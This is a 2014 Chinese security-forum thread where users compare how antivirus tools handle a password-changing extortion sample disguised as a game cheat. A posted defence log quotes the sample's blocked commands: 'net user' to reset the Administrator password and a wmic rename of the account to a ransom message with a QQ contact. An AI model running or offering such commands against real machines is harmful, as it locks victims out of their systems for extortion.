敲竹杠，来一枚

XywCloud

bav启发杀
bav主防拦截成功。

z紫f风l铃

ESETMISS

b573684723

火绒扫描MISS
双击

允许阻止都被加密。。。

Qutianshang

b573684723 发表于 2014-7-1 12:36
火绒扫描MISS
双击

木有拦住，那个版本2.0还是2.5

b573684723

Qutianshang 发表于 2014-7-1 12:41
木有拦住，那个版本2.0还是2.5

2.5的
，，，

cn86li

会飞的猫

2014-7-1 19:20:46        c:\documents and settings\administrator\桌面\cf晨风透视、穿墙外{过}{滤}挂.exe        创建文件        C:\WINDOWS\SkinH_EL.dll        阻止        [应用程序组]【授权】高限制组 -> [文件组]全局高危文件       
2014-7-1 19:20:46        c:\documents and settings\administrator\桌面\cf晨风透视、穿墙外{过}{滤}挂.exe        创建文件夹        C:\WINDOWS\ME        阻止        [应用程序组]【授权】高限制组 -> [文件]*       
2014-7-1 19:20:46        c:\documents and settings\administrator\桌面\cf晨风透视、穿墙外{过}{滤}挂.exe        创建新进程        c:\windows\system32\cmd.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: cmd.exe /c net user "Administrator" "buzhidao."
2014-7-1 19:20:46        c:\documents and settings\administrator\桌面\cf晨风透视、穿墙外{过}{滤}挂.exe        创建新进程        c:\windows\system32\cmd.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: cmd.exe /c wmic useraccount where name='Administrator' call Rename "想知道密码就加QQ2926441315"
2014-7-1 19:20:46        c:\documents and settings\administrator\桌面\cf晨风透视、穿墙外{过}{滤}挂.exe        创建新进程        c:\windows\system32\cmd.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: cmd.exe /c net user "想知道密码就加QQ2926441315" "buzhidao."
2014-7-1 19:20:46        c:\documents and settings\administrator\桌面\cf晨风透视、穿墙外{过}{滤}挂.exe        注销、关机或重新启动系统                阻止        [应用程序组]【授权】高限制组       

尘梦幽然

消停 发表于 2014-7-1 11:18
SONAR删除文件，但密码被改了！

文件名: cf晨风透视、穿墙外{过}{滤}挂.exe

你打800质问他们

wqcaokeyinwq

主防KILL

折腾哥

卡巴斯基 扫描MISS